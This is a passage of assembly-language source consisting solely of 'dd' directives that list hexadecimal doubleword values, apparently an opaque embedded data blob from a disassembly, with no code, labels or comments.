		dd 3704C52Bh, 8B005F77h, 9509487Bh, 0A6843Ah, 0EC89257Ah
		dd 0B6D8EFC1h, 5E6FCC04h, 80AB0181h, 6B80E52Ah,	448BAA00h
		dd 4A1E0E7Ah, 109F67ABh, 0F0E087B7h, 0EEFC1BA3h, 0FBDE9714h
		dd 76B400C4h, 996F7886h, 0FC20F9EBh, 5B303F5h, 0F41AEF28h
		dd 0CC8172F9h, 5D007043h, 2299EBBBh, 0B08CC6A5h, 0E0800044h
		dd 5F140C1Fh, 461ED8C4h, 0FBC0C021h, 2F83588Fh,	0F0FF0F40h
		dd 1C2087E1h, 0F72CAF65h, 48F3A94Ch, 813A06DEh,	7D04B8Bh
		dd 53DBC52Eh, 0C3F6E00Fh, 6A00B0FAh, 2F19D647h,	0A0CFD92Bh
		dd 3DA7D4h, 53D1E93Fh, 0C1B97131h, 7E695Ch, 0BBE102D9h
		dd 4841779Eh, 9B381835h, 874CF80h, 0FCF63960h, 42CA4504h
		dd 24C7EC61h, 7DD14A37h, 5CD0E595h, 0A09B01FDh,	75F1E08h
		dd 0E081C0A5h, 38BDAF00h, 0B2CCFE8Ah, 0DE170048h, 8D4C4B1Dh
		dd 4B985AE1h, 41E82E05h, 96874EA6h, 0DB2B070h, 0EDBF009Ch
		dd 0E776FF06h, 6228C2A3h, 595C9811h, 83A402CCh,	0A071A6DAh
		dd 2D3E9CF8h, 0A07232h,	47BFC05Bh, 3B69F37h, 0C3F49402h
		dd 80A68742h, 9C0B21CAh, 0F9AD0006h, 0A2720C5h,	22001B6Dh
		dd 0D568C809h, 2C8024h,	0B829F38Ch, 704D8DF6h, 9F07BF00h
		dd 0B33830D4h, 7BB902B7h, 0AF734C2Ch, 6E9B9860h, 8D00EAFCh
		dd 160D0333h, 3759D08h,	0AF3EDA17h, 0A8006FACh,	0D7B6CBB7h
		dd 121FC0CDh, 0BD62FAh,	7BCAAE9h, 0A20065F4h, 0C7D57D39h
		dd 16DC4761h, 1D972689h, 2EE08038h, 3B510F87h, 0DF74D800h
		dd 73B867E2h, 0B9EF0034h, 8A77A6D9h, 80BA4968h,	0E6A50407h
		dd 6D8022D2h, 562F7Bh, 0B69BEAD5h, 0F0D93467h, 0DD02D600h
		dd 5F7BC872h, 44AC0B48h, 8380113Bh, 66519309h, 23C34F07h
		dd 96E08552h, 0D7F800Fh, 0DEB46DAAh, 109C40BEh,	0A3FE288Eh
		dd 0E8007A74h, 87B1260h, 1D6B78Dh, 6F75F198h, 4047C763h
		dd 85FE5DB7h, 3ACE9B00h, 7B96E55Ch, 8C0E0037h, 7EBFD3EFh
		dd 34F3F034h, 0E51E9E70h, 0BACC430Fh, 178DECFEh, 40926A4Ch
		dd 7585A5E8h, 0F40E26C5h, 89BB4437h, 0FB42088h,	2D579A6h
		dd 0FFE0D3B8h, 90A04D37h, 53109545h, 366C620h, 0CFBF6FB2h
		dd 0C1C7F60Eh, 0C1353390h, 0C043D2B4h, 0C1DED4D0h, 0BD1E761Eh
		dd 0F86B9A44h, 0D7CCB4D1h, 213C3D4h, 0C8F1AAD4h, 3EC07611h
		dd 0A009A7Ah, 0CB8A9C4Ch, 2BBB01h, 0A53DBC9Fh, 9D39221Eh
		dd 0F054B400h, 0E9CC294Ah, 42E00034h, 9A9BFA1Dh, 6400FE7Eh
		dd 0AABF7362h, 1C2C329Dh, 0D5A39Ch, 12831B8Ch, 0BC00B1F7h
		dd 904431E6h, 0C91A69D4h, 0EC449198h, 26F820h, 9F8A09CDh
		dd 57FD75F3h, 507D4D10h, 0E2DA0E00h, 43F22426h,	0B7B89015h
		dd 0F92500C0h, 0FE725AE4h, 0A0337917h, 1EC17FA0h, 0E5F4620Dh
		dd 80AC5008h, 4BFB3A58h, 74012633h, 0B2D393D9h,	63DC436Bh
		dd 3A8A022Ah, 671CCEE5h, 37BD6F60h, 0B92FAF1Eh,	3D96E341h
		dd 802E3464h, 0B053DF9Bh, 0BADCE801h, 8CF5539h,	287EECh
		dd 0E92BEE7Fh, 0E0C6F1F8h, 785B8300h, 0E10AA2F6h, 641A01CFh
		dd 2C2D6026h, 0EFD4E895h, 282FD500h, 9D9AA636h,	0B5710091h
		dd 53AC7FDFh, 5F6063F5h, 0BD15A2F0h, 0EC83006Ch, 4EFBB0CBh
		dd 7B001CD6h, 0DB44BA2Eh, 9A25A9h, 0F058806Eh, 0FD4E0CF6h
		dd 0E8FA6D00h, 0C296D74Dh, 0CF6C00ACh, 358F1F2Bh, 0B0047899h
		dd 1B3C4537h, 920F0h, 0C2FD163Fh, 0D81D0220h, 29837B00h
		dd 0A595F05Ah, 3DD0B070h, 889693Ch, 0F4806897h,	7B18EAE0h
		dd 0B0811C0Fh, 5EC7E088h, 3534C03h, 32481FF2h, 0CFA8FFFDh
		dd 0EA0F4944h, 0A0808EDEh, 78C3F5E7h, 5E7C45h, 0DDB7AA31h
		dd 0AF93DABAh, 0A2E49F00h, 0E14CC09h, 161003B1h, 954C2A32h
		dd 96D52180h, 9E79663Fh, 0A8C764A9h, 0B0571510h, 11B9AE40h
		dd 54390E9Ah, 87A907F4h, 0BAA5BF00h, 0EE091A91h, 70A1B47h
		dd 0B8504640h, 2B57A3h,	0D4B3C5B2h, 25F00131h, 6515C304h
		dd 0E4F1857Eh, 134C030h, 1CFF85Bh, 0FC6F2A83h, 75050F7Bh
		dd 0C5B18462h, 4065CCC2h, 1C70DE60h, 0F5C84Ah, 0E76CB4A1h
		dd 55001E93h, 0EB946590h, 7158F7h, 85DAAACFh, 0EABC9AEh
		dd 14E8A600h, 8B5DE220h, 83D9008Fh, 1C22F52Dh, 4122ED0h
		dd 0F44433A6h, 18A223D1h, 323A7100h, 0E2C0B4Ah,	2EF25C00h
		dd 3EA767DDh, 40224C6Ah
		dd 0C6C1E400h, 0CDA0281h, 77FD6F00h, 0D127C9E2h, 3ADBFA5Bh
		dd 110074F6h, 0B517D684h, 0D2F24730h, 4102C700h, 1C82DC4Bh
		dd 0D3FB0054h, 2FE917F1h, 0DB008086h, 0C0B4959Ah, 18D1B6CCh
		dd 0CB5F9C2h, 0BD3D0940h, 9AFF000Ch, 0A21ED67Dh, 677C6h
		dd 0C1FA46C3h, 299C8C26h, 0AD5E4C0Eh, 0A45A6310h, 0C82E88C4h
		dd 0DFFF0008h, 8EEF672Bh, 0DA14C27Ch, 6CC58E6h,	7B0ED632h
		dd 89F4E2h, 354CBBC6h, 5306870Bh, 0B4230200h, 7CE56BEBh
		dd 71C600C7h, 83248B9Eh, 0FE001EA4h, 75431621h,	4A6F477Fh
		dd 4C6BC9Fh, 7C527B0h, 775908Ch, 838B1F7Dh, 50C9109Ah
		dd 92005CF9h, 282EC58Ah, 1D6308h, 0E86B1E66h, 94B60AFh
		dd 2AE2D003h, 614881h, 8014FED2h, 1D0A24A3h, 92FD3000h
		dd 588E44C1h, 50CC26DAh, 0FC2A00B9h, 0ECE5C83Dh, 65522D17h
		dd 0E9837980h, 0A4230268h, 5D9B8DB3h, 97EC64C0h, 3C0459E4h
		dd 1068BE31h, 1E1D1090h, 433B0081h, 61279914h, 0D90062BAh
		dd 0B21C0854h, 34788Ah,	0DC2F10F2h, 8F48C581h, 0A9094472h
		dd 451ECDh, 3B2D08B0h, 20E20082h, 0D7968026h, 7F3B720Bh
		dd 0FD51074Eh, 80BECBB1h, 0B0D22C8Ch, 0D58500DBh, 4F629917h
		dd 9A7FB711h, 940F53F6h, 80093D52h, 22304DFFh, 0AD1C5C3Eh
		dd 0DF670505h, 9C9CC006h, 0AC77F844h, 5AA2B600h, 0CA6D8962h
		dd 0FAE5000Ch, 127F2266h, 5500427Eh, 1DC77082h,	2753A5h
		dd 5BC87183h, 7FE59DC3h, 0AE5C18B8h, 55010032h,	0A579BB9Ch
		dd 0FB070010h, 0D97D5359h, 8500861Eh, 73A3E930h, 0FD0DCD7h
		dd 0BD8AD445h, 0F44C260h, 32000C50h, 0CFD646C6h, 38F328FDh
		dd 6480DF1Ch, 0AE9E267Eh, 0C502A1A8h, 8AC0D7A6h, 84A6042h
		dd 22A32DBFh, 60539084h, 58750DB7h, 0A9007E70h,	4EE81548h
		dd 0D30F3537h, 0A0C49E3Ch, 0A6FC120Dh, 2A71001Fh, 80E56421h
		dd 0A20109AEh, 4A086D4Bh, 1F876F7h, 65D6C06Ch, 0D80E055Bh
		dd 93003B75h, 0CBA51438h, 0EAF7D637h, 0EE643F2Ah, 80C8C6A6h
		dd 5A80C2D3h, 231318F4h, 0BD00756Ah, 4D3E887Ah,	0A10B07A0h
		dd 0C061847Dh, 0CC767B90h, 0A28DD100h, 8E6A7A91h, 77DE013Eh
		dd 0FCABA349h, 0C07FFC75h, 52271C00h, 0FD97168h, 73D5EE2h
		dd 7B09C818h, 5E038BF6h, 9013722Eh, 985C999Eh, 0C7821E78h
		dd 4A8C000Ch, 0ABD6D7A4h, 997CF600h, 65186414h,	8F2E1EB3h
		dd 695C804Dh, 94810E88h, 8378DE3Ch, 0CDF046D9h,	0E8C08544h
		dd 482CCF09h, 0B94C748Fh, 89204118h, 6F0E84C4h,	8061A1F7h
		dd 0D52AA706h, 215D6073h, 7A4EFE86h, 0CF338D0h,	8CEC424h
		dd 43380187h, 92A35F37h, 0E61DD8B2h, 0F3680403h, 0F8EB2434h
		dd 133B32h, 22B3F647h, 70A7398Fh, 3E9BF21Fh, 0A8CC3706h
		dd 0E17D18h, 18E26D4Ch,	4F2C0ED8h, 2A980C1h, 799FD06Bh
		dd 26826F4h, 188605CEh,	21E568A2h, 0C1006411h, 582C657Eh
		dd 0CC00DCC5h, 0DF0E2EB1h, 7B6E003Fh, 0BB10CA75h, 0AB1E3692h
		dd 31C03570h, 0C267436Dh, 0F2380024h, 0A413FB48h, 3F0088EFh
		dd 194471F0h, 0EE245DD1h, 926E00EBh, 54227411h,	97005EE7h
		dd 0ACD5209Ch, 3033FD02h, 8CA0EEC8h, 79F8B142h,	0B809FB00h
		dd 395CE6E7h, 0BA72008Fh, 0DD42A4C0h, 2600F3F5h, 0DCC2F264h
		dd 1F7B693Fh, 40893A02h, 0F42097Ah, 9874E26Ah, 808AFB3Dh
		dd 4D61D3BFh, 903745A6h, 0F16E00BDh, 63F6C656h,	0D0005C49h
		dd 7DF00751h, 697EB7h, 604EBAAFh, 0F9402401h, 0A03B5328h
		dd 2F2C1A00h, 0C2AB4322h, 12127C5Eh, 10D9E45h, 148D5531h
		dd 0BAF4CC32h, 3D701100h, 122B89C4h, 0EF28003Ah, 487C0EBh
		dd 4F1F6965h, 55019583h, 37680F43h, 0C4248361h,	0C9E7001Ah
		dd 5FEAFD8Fh, 6C131370h, 0FA006FB4h, 0E3721206h, 0DEE4A8FFh
		dd 749451h, 38EF9F8h, 0D9070FDBh, 0D89920ACh, 0A7D6B310h
		dd 1D917F84h, 0D91457BDh, 0F477D071h, 48C4F5ACh, 80D5EB5Ch
		dd 0BE768807h, 1F56D5B0h, 14530C2Ch, 4F286BCCh,	0A9EFF00h
		dd 358F2A8Dh, 0C62B0186h, 0CB41DDE5h, 5E826E74h, 9098A077h
		dd 927020E4h, 0D527008Ch, 138643CFh, 0B81D5DBBh, 0D9405CB2h
		dd 67EF1B3Fh, 47E3016Fh, 0A6AD11Eh, 7DE0DFDDh, 9800D3DFh
		dd 5BD2F030h, 5396AEh, 0EA747C8Ah, 0B08DE795h, 0D9FE251Dh
		dd 20701D8Fh, 52B979C5h, 26F700A1h, 0ECCFBFF1h,	0DF009DDDh
		dd 39C19666h, 18D442Bh,	1DCDEFB3h, 604B9471h, 95EE2361h
		dd 0C01286CFh, 178CCC34h, 0B03D0068h, 0CD16D3F9h, 0E7034421h
		dd 0C108DF2Fh, 6FE998E1h, 0AACE006Ch, 853316BDh, 2FC2778h
		dd 4E53DF09h, 0FCE003CAh, 0E499A82Eh, 902D0707h, 7E5AA006h
		dd 0D1BC2962h, 45F7F5C0h, 748DA700h, 5108B4A6h,	1727E233h
		dd 1C7CE22Ah, 0C9C48014h, 0F3A7B9E4h, 0E0EAA74h, 21659A47h
		dd 0AC2EC74Ah, 0FAE01DFCh, 73A03A3Dh, 0D180713Ch, 0C75E8CDh
		dd 2300D4E1h, 0F25664D3h, 9F0EAh, 6D1A19CEh, 0FCF8D152h
		dd 801D9AFEh, 9E801BCFh, 6076368Dh, 0C050DEFBh,	39D56F5Ah
		dd 0E40196C3h, 0A2BCBDD6h, 0A8803023h, 0FB5AA18Dh, 0F13119F8h
		dd 547140FEh, 86C9C8h, 4D923252h, 42A56D03h, 2A75CD07h
		dd 0FCF67E63h, 22500060h, 4C4D7680h, 27001288h,	90A1F246h
		dd 0DABE7Ch, 0EE695FA0h, 0EF42ACAFh, 1811D00h, 0D16B113Bh
		dd 0BB9E030Eh, 0EEA43973h, 87E069CAh, 6D012FEAh, 7D3AE396h
		dd 0C571B6CBh, 58B640E2h, 0F6977B4h, 0B7ADD77Ch, 0E8BBFDC0h
		dd 0DD00407Bh, 83036BFCh, 5284C2h, 0B2891CC6h, 0BD005F6h
		dd 2F661A00h, 1F82EFA5h, 0DE0600B9h, 305A4191h,	9F0003E0h
		dd 3F99F673h, 8B10FDh, 3A0C1698h, 4117FAF2h, 14720700h
		dd 20852960h, 2B021C38h, 303700CAh, 0D9270B12h,	3FFEA000h
		dd 0C8BC93F1h, 55D8001Eh, 0ECABB799h, 6BE2CF7Ch, 0BA9B9000h
		dd 0A4165321h, 207A4Bh,	2D61DE3Bh, 65669535h, 3F583600h
		dd 0A337513Dh, 186E608Ch, 0AE35E02Bh, 16490B00h, 0A1F3FBFEh
		dd 0E6D200E8h, 5D8F6FD3h, 0BD0F5AC2h, 83CD4AFFh, 0E0751AA9h
		dd 78C0E21h, 0C5E19585h, 0C8210D5h, 2F05CF3Eh, 303178CAh
		dd 0E570E004h, 3BB6140h, 65052CADh, 9A64EDB8h, 0D3DBA6C0h
		dd 18DEA9Eh, 0D1B5850Dh, 0F859A041h, 0CF0046DAh, 0EC6D633Fh
		dd 8D4549h, 2CC3D823h, 0E4CA5736h, 3DF3B500h, 0F57740EAh
		dd 5E7BDFh, 267FD38Fh, 0E833C66Eh, 1DCB9700h, 812B9575h
		dd 0B29E033Dh, 0BB17EDC0h, 0A7C1E8A0h, 2F96900Ah, 5660B4F2h
		dd 0E7E48Ch, 95E6C214h,	0B14039C5h, 44A70800h, 9BF7DA3Ah
		dd 83AB0058h, 86A4FB04h, 520194B3h, 0E6D5E31Ah,	68805D25h
		dd 1759A99Ah, 1D001465h, 340CECEFh, 2630D6FDh, 4FF08Ah
		dd 0AFAB735Dh, 4F48EEA0h, 1E7E0B44h, 3181757Dh,	7022C29Bh
		dd 0FD5080F9h, 60908BACh, 0A908D38h, 0D4665E18h, 8E47EA05h
		dd 1BB88420h, 0C3D00073h, 96263B2Ah, 8F00E734h,	4B35176Eh
		dd 0BD2080h, 0EEB07CB4h, 9DB3BE87h, 17D2E4Ch, 0FF0EB582h
		dd 32308DA5h, 0B7812896h, 0F9DF00B8h, 56D1BE74h, 0E200F0E7h
		dd 142FF6D2h, 92710Dh, 0EBC01E04h, 0DAA35648h, 95AAB03h
		dd 0E88FC7F6h, 3C6A403h, 20767F1Dh, 0BCF837CBh,	0B61CCF23h
		dd 0C7003FE8h, 0DEF0BDC9h, 6BAC1E40h, 0DC4B40AAh, 2546DD8h
		dd 73CFD000h, 46DDAD52h, 0B9F51D42h, 909E008Dh,	9DEFBAD2h
		dd 4009BF8h, 20B27B77h,	28EDF796h, 0D6DCF6h, 53D7FC1h
		dd 438D9B13h, 0C0C24728h
		dd 37D62A00h, 6A08D7A7h, 0E8A20082h, 0C1A31E23h, 0B3072D4Dh
		dd 0C7C5C4DEh, 52BC2120h, 55CF00F8h, 77357362h,	5300EBC2h
		dd 0AFB48285h, 186788Ah, 0BCA5C8F9h, 0ED0B24A4h, 1196E0E9h
		dd 0E8F347E0h, 0A00CE18h, 1B92CBA2h, 0EAB329h, 2D746A4Ah
		dd 0F20B7FDFh, 0D95FC00h, 0A83DC5E5h, 0FEFD0953h, 480EC19h
		dd 48DC4172h, 0C80004B0h, 0D2F60885h, 0E297C6h,	520F18CDh
		dd 0B050F0BBh, 2CE87A01h, 0FBAFFA1Fh, 0F7E1830h, 0EA93F78Dh
		dd 0D079C3E7h, 0B9524875h, 9932CF03h, 0F8552ED0h, 0FA47B2AFh
		dd 0F8C0A6Dh, 0BBE82794h, 45075380h, 6FDF302Ah,	90A29F00h
		dd 0D82B5F94h, 87DA3BFEh, 1C50E001h, 601DA13Fh,	1B7452BCh
		dd 41D4C700h, 226B585Dh, 0A7EC034Ah, 0D9D3ABA4h, 1C0632E0h
		dd 0DA4BE800h, 3ACF7DAEh, 0D1760E7Bh, 9FC0505Ch, 0A52A74B5h
		dd 0F56C4103h, 8937EF72h, 0FE707607h, 7ED63340h, 57E80618h
		dd 0DF1C170Fh, 77803141h, 87DCD121h, 4A720EF2h,	13AE18B3h
		dd 0B5F80A00h, 4818BCBAh, 86111691h, 8D850977h,	648323D2h
		dd 0C0C75A96h, 49B309ECh, 0DC7AC07h, 7D40A876h,	149ADBh
		dd 5C9653AEh, 0F2345F22h, 4B09772h, 0FEDD7A12h,	1FDA5D00h
		dd 5006A2h, 9356DFBCh, 4AB119A1h, 0A6002676h, 0BA45ECCCh
		dd 0FAD8883Dh, 0BCA11F91h, 0A3D03C10h, 0BB050163h, 1614D6DDh
		dd 0B6C8E396h, 0D83C76A4h, 520A00E6h, 3BE42946h, 0B7FE00EFh
		dd 40CA68B4h, 2609314Ah, 18F9C01h, 1F3D6950h, 95226080h
		dd 26ACEFC2h, 2A72D1FBh, 707196E0h, 99D01C61h, 104840F6h
		dd 1DB60B1Ch, 96B02E60h, 0E14EC2h, 0CFF6B09Ah, 70693BC4h
		dd 94621B00h, 0D74B6E30h, 6A781473h, 7C7F9CB8h,	9DDC01D4h
		dd 4280688Eh, 0BD19C901h, 15C880A6h, 7CAF89A3h,	5D1C00FDh
		dd 0C2ACA798h, 0BF1F3E3Ch, 5E04C5A1h, 1C04AB0h,	2CF9A364h
		dd 809828EEh, 0A68A87D6h, 2700E125h, 0EA9A606Eh, 7CD4B5Fh
		dd 4D1DE08h, 3815B0B1h,	7700ABD2h, 9354F922h, 1386115Fh
		dd 7926B08h, 7041A2B0h,	59B2F727h, 358F5000h, 0C4F1EB61h
		dd 9C6F02BCh, 0FF620AA3h, 8B2E6C61h, 665F80h, 3A7075ECh
		dd 2960025h, 57D78E49h,	5B0432FCh, 9BB453F9h, 0B0DBE0C0h
		dd 3EEC3ACBh, 1C821E00h, 0EF15A258h, 0A8D39524h, 86D49603h
		dd 3E90168Fh, 667077Bh,	15DC4383h, 815716E8h, 24CA21CAh
		dd 1D635340h, 2AA20022h, 0E4206A2Dh, 781F9E90h,	150071B5h
		dd 1745F17Dh, 0F8030776h, 30794137h, 8C34073Ch,	1B15AB00h
		dd 1D4A6F90h, 0EA38B2B0h, 32D100C8h, 351949A3h,	0BE096F4Eh
		dd 0F63036h, 0E85837C8h, 31B161E0h, 0D381F915h,	90A3C13Ch
		dd 0D13F24CEh, 6C19F108h, 1EB2406Fh, 581D5Ah, 0FE468BF3h
		dd 0DA0E329Dh, 593ADE00h, 61CDA1A7h, 0CECFA0ADh, 0D51B17B6h
		dd 0E500EB34h, 0B368CCFEh, 0D3D0004Bh, 0E0D71278h, 22B06325h
		dd 830A6C7Fh, 0C07B1AD1h, 6D00B09Ch, 8E3C32CDh,	0ED9A3386h
		dd 2100B608h, 8A6D1115h, 90753FBDh, 34910345h, 0FB993C6Ch
		dd 0E8C8A4A1h, 4C005E15h, 4FA6F9ABh, 2887D0F2h,	80EAB8h
		dd 2C2FE6F6h, 7E6A164Eh, 8C5EEE6h, 0F0009DC7h, 70BDBD1h
		dd 0B18400B9h, 7F98D33Dh, 0AD69E324h, 90084050h, 0B94A005Ch
		dd 652E6FCEh, 41D0AA7Dh, 9E760D9Ch, 25DC7181h, 98A160C0h
		dd 0D6DE1EA7h, 30834E80h, 0CC186C39h, 7D054A95h, 0C00BFEA7h
		dd 80E75C04h, 3B2B2730h, 0A1DD373Fh, 7FA117Ch, 550BDCF0h
		dd 70153FB0h, 0FAD17656h, 19B0C010h, 9E814F98h,	674A9200h
		dd 39B1EB55h, 0D7E51D1Ch, 80DA9EF3h, 6B9512A4h,	0D00E93C2h
		dd 20FEADDEh, 111C043Bh, 0E4A47E45h, 881804A5h,	0C07BD02Ah
		dd 15C6D618h, 4309100h,	64EF4D08h, 0F0DFF84Ah, 0BAE40F03h
		dd 0B7A0CB23h, 0C8260569h, 0ED6E5800h, 6A1AB9E0h, 243A3062h
		dd 0B42DD2E2h, 0C97D0E00h, 0BCCD13Fh, 8D624CA0h, 0C377807h
		dd 13A670B5h, 3A00C92Eh, 5E5FB860h, 0E939ACh, 7D284241h
		dd 431844FAh, 79C69A00h, 5AEE83E4h, 0FB8C00A9h,	4A98EA23h
		dd 0A603A338h, 0D4C6B43Ch, 0F80289E8h, 0FD5D0D0h, 0B89370BFh
		dd 560E7561h, 0E65BE063h, 0D18AA00h, 59D5FF13h,	0E1B900B1h
		dd 0E360E56Dh, 8001C4E8h, 97136837h, 0C8E0DF12h, 81D70074h
		dd 5B676B7Fh, 863AE480h, 8ED02430h, 2D129803h, 1D293CC9h
		dd 0B22087C4h, 115C2283h, 0C7E2B910h, 72314475h, 50842920h
		dd 679228E8h, 985529E4h, 79C63E8Ch, 0A8228434h,	687144EBh
		dd 8BC50600h, 8E195693h, 0A7540E55h, 7D23F70h, 60F896B4h
		dd 0D6237DCDh, 3200117Dh, 5A3652CBh, 0FFB54Eh, 0DA0AEA37h
		dd 0E235FEC2h, 1FFC9500h, 0D4CA007h, 0C7500B9h,	4BDE6869h
		dd 0A10EBC32h, 8034786Fh, 0EF21D7A6h, 72D20002h, 0BFC3D1Dh
		dd 23EC85EEh, 65B8BF07h, 1A1057A4h, 0D3B7ADh, 78484361h
		dd 0B5DCF96h, 4D1F8D03h, 903A21B2h, 52F2D5h, 78D2EBFAh
		dd 0FB37383Eh, 29002074h, 0DE756441h, 0FD1AB142h, 65C7ECh
		dd 0BF140113h, 0EF7BB003h, 0F018FF00h, 0E9C14F82h, 2DB10145h
		dd 5AD95FDDh, 0C4DEF051h, 0B2C8A500h, 4678EB8Eh, 98AB18F7h
		dd 0A9F2A14h, 2786F100h, 0E5CBBBC6h, 0A07CB097h, 26825C3Ch
		dd 26A61E34h, 0CA8F0746h, 0F5617ED6h, 0F0531D9Bh, 0F70F3C94h
		dd 0A09F7BBFh, 0F1AC55A8h, 48D60001h, 456D0379h, 381A4D32h
		dd 404458h, 6EA0ACB4h, 0E0008EB0h, 70D69D36h, 1C4EB715h
		dd 80086619h, 8CAEED2Dh, 1DE8B1CBh, 5715791Eh, 0F3C86D40h
		dd 25EC92CDh, 46D4D542h, 4E24D030h, 343B00CAh, 0FD320C9Ch
		dd 0F9005E3Fh, 1A626DB6h, 0F28AB0Ah, 0B567F16Fh, 0F0B1C0C3h
		dd 93644CE8h, 0A13C7DFEh, 31FD00B0h, 0E07B8256h, 0E8CC0391h
		dd 3FB3FA28h, 892CCBD8h, 0D6D258h, 0AB068F0Bh, 3C0C85h
		dd 0DB5663ACh, 0AE8D7C18h, 0EB175802h, 80A03929h, 0C61413ACh
		dd 41CC00D3h, 0D165372Bh, 54398683h, 32A387C0h,	0C810D2E9h
		dd 51FA23h, 1AF74DBEh, 0C5EFFF90h, 15FCA100h, 6EB268A0h
		dd 0BC3914EBh, 2300E5B8h, 84E5FF89h, 7C008EA5h,	85533A96h
		dd 0EABB66Eh, 0FF547449h, 0D2AE5B00h, 65003BF9h, 7811334h
		dd 2A4CB323h, 7BC8DBE0h, 0E080098h, 0A3D7625Dh,	5C000661h
		dd 730C5B85h, 1E508Fh, 22ECBAE1h, 0E6F71A01h, 0EDDCE500h
		dd 1F11B0B2h, 5F20034Ah, 3D7BB881h, 0CD43298Ah,	0C7F440A8h
		dd 500049E6h, 83DBF20Ah, 7D560D8Ah, 6D510015h, 44E96431h
		dd 9E003FC0h, 7654723Bh, 0A0C5Ch, 2DC8696Ah, 6B047755h
		dd 3E92B702h, 487C5345h, 0A47138h, 85D83DCFh, 41DECD46h
		dd 94DAFE60h, 3CA075DDh, 0BC07E17Fh, 0DE018504h, 0C5351A00h
		dd 663B46CCh, 0E85D0E36h, 0BD38A07Dh, 48936254h, 8C00BD8Ah
		dd 0DF96ED20h, 0E901051Eh, 42241C31h, 0B820C0B9h, 97203D01h
		dd 25609E00h, 0E8FB16BFh, 59C12300h, 36878637h,	0E7CD0013h
		dd 2AF6D926h, 4500B05Ah, 0DC7F1FBFh, 7C3C5CAh, 18E9459h
		dd 0E085B727h, 6B3DFF40h, 19082A00h, 66D8AFAh, 0FBF80053h
		dd 0C8F274ECh, 770049E8h, 0DAA856F1h, 709D393Ah, 48F3E44Fh
		dd 95093804h, 5200A1A6h, 355FD57Eh, 0E82770Fh, 0CE2B4060h
		dd 4CB55532h, 0D81C0FB0h, 0E99D0036h, 0F55135DFh, 6E31700h
		dd 1A033B7Ah, 9315188Bh, 97192988h, 66B7DF07h, 0F450050Ah
		dd 1642D9h, 19B181Ah, 20525949h, 0E5896E0h, 0B927073Ch
		dd 99A00FA7h, 6ED87Fh
		dd 0CFC60C5Eh, 3904AC4h, 2177D900h, 5A940EDh, 0B02F00B3h
		dd 25C9459Ah, 69583B80h, 8AF600C8h, 0F1D2A098h,	0CDC7F0Ch
		dd 0E9FB0730h, 0B005410h, 338DD860h, 1CE234Ah, 0F76F217Fh
		dd 604E16F0h, 1B004CC8h, 2325C7B5h, 0FB0A2h, 0AE7F9204h
		dd 336F5AEBh, 0C4AAED00h, 8906EA0Eh, 70FB00AFh,	0C0C13645h
		dd 1D008668h, 0FA04A315h, 1F2AACh, 0AE439FA5h, 20CC81A8h
		dd 58D47800h, 0F2D127F7h, 229B124Fh, 33F02E6h, 8880FC2Fh
		dd 0A8829F67h, 0D3C44A00h, 2A63F408h, 6E3800ECh, 0D492663Fh
		dd 5C0A7095h, 0B1E3456Bh, 3DAEFD00h, 0FEB6FAh, 3615D76Ah
		dd 0E8715205h, 948A5307h, 9B72BDF0h, 89266014h,	0A2B000F5h
		dd 0ED745164h, 0FF245C7Fh, 7E80F816h, 67F223D0h, 61600F59h
		dd 7423ED0Ch, 203F495Dh, 95A6036Ah, 0C0657FDBh,	947BAFh
		dd 0AB526D8Ch, 518A23F4h, 0B94C7301h, 97639982h, 0E83422C1h
		dd 6D690046h, 5612ABF2h, 9000A575h, 309EBC0h, 0A0A7D8A3h
		dd 0EE73C995h, 6BF4A1h,	8606D6Ah, 3CEF059Ah, 0F4B8E8A1h
		dd 530009F3h, 48451352h, 566C5Bh, 722B490h, 0FEB5E4AEh
		dd 19016278h, 3AAF30C0h, 0F5E40E79h, 0CC1E0313h, 0B315C12Ah
		dd 782E3000h, 8EA11D42h, 73D77AFDh, 521900FBh, 5CE5F9C6h
		dd 0D4E20883h, 0C400DC98h, 2879910Ah, 197DAA4h,	578F5CDh
		dd 0F89A921Bh, 0E800ABF0h, 821A59F1h, 43CD96h, 8B7EFFE6h
		dd 58C5A71Fh, 1B8B007h,	39BE15h, 1ED58C54h, 275D1E54h
		dd 0B08601E7h, 0E85CC3E6h, 7D03A278h, 7A43516Ah, 941C0048h
		dd 0E853D405h, 0F350460Ch, 0C600CBFFh, 155EDD20h, 1E1149ACh
		dd 0F62E4F8h, 1BA014FBh, 22ED76B9h, 0CF263B05h,	449078F1h
		dd 0D152Ch, 0E6886830h,	723C816Dh, 3C0FF14Ah, 89C7E0D9h
		dd 4BDB8Ah, 26F72892h, 87FB485Dh, 0C097F204h, 2090DE6Eh
		dd 5F99F0h, 0A94583BBh,	0C4F3D95Ah, 2257BA00h, 890F704Ah
		dd 0B5AD0331h, 0FB8F126Ch, 0C5999800h, 22BA2DECh, 0A8FF0075h
		dd 9A4BB12Eh, 2C038068h, 71E2ADE6h, 9482842Fh, 8F62406Bh
		dd 0DCD63E93h, 1E9F3703h, 38C8FA21h, 3D04FB01h,	3E7C9B6Fh
		dd 2E9DF8AEh, 100B0DA4h, 0B00C00E5h, 21F3DF1h, 0B777FB95h
		dd 9440B2CBh, 0AC218CDDh, 0E803EF4h, 8199934h, 173A1DD7h
		dd 0A35203B5h, 0C887147Ah, 3E63FEBh, 0ADDE7FB2h, 0E7902145h
		dd 37011C71h, 574E9414h, 1DD8093Ch, 834F015Ch, 2E3D636Dh
		dd 74C050A5h, 0D8DE4385h, 0B0BB0600h, 1746AE36h, 0B2B9E5Ch
		dd 0D400D974h, 7282FA8Fh, 0E099BF01h, 4813A59Ch, 371EC20h
		dd 96C13B62h, 0B6A8BCF3h, 7700EDECh, 727E9EEEh,	64BB85h
		dd 7B48BE4Bh, 0F54D2916h, 8CBC8A01h, 0DBDE7701h, 1827C4D4h
		dd 98EB18B6h, 3C007C7Dh, 1B1D5039h, 0B0E45970h,	0DD2A0141h
		dd 679F94F5h, 3123207Eh, 6C84200Eh, 8C1AC0EBh, 0AA2672h
		dd 0CF16F8CBh, 93C7404Bh, 0FBFDA70Bh, 69D8800Ch, 6AC9DAh
		dd 63DECA30h, 0AABD8D5Fh, 6485C71Fh, 1132BC40h,	289A31h
		dd 17C4CA53h, 9CD84E8Fh, 6B0CBDFEh, 0C0AD2CF1h,	9D160E08h
		dd 9321E303h, 40548AB7h, 766FDBB7h, 3DC1A439h, 7E200081h
		dd 7F44B637h, 6F0A4877h, 56FD8000h, 90389BC7h, 97294D07h
		dd 9AE0C659h, 23C0432h,	2101FE78h, 2AE01C7Ch, 7008B0Fh
		dd 0DDC1462Fh, 58365h, 7F330625h, 9339531Ah, 28708700h
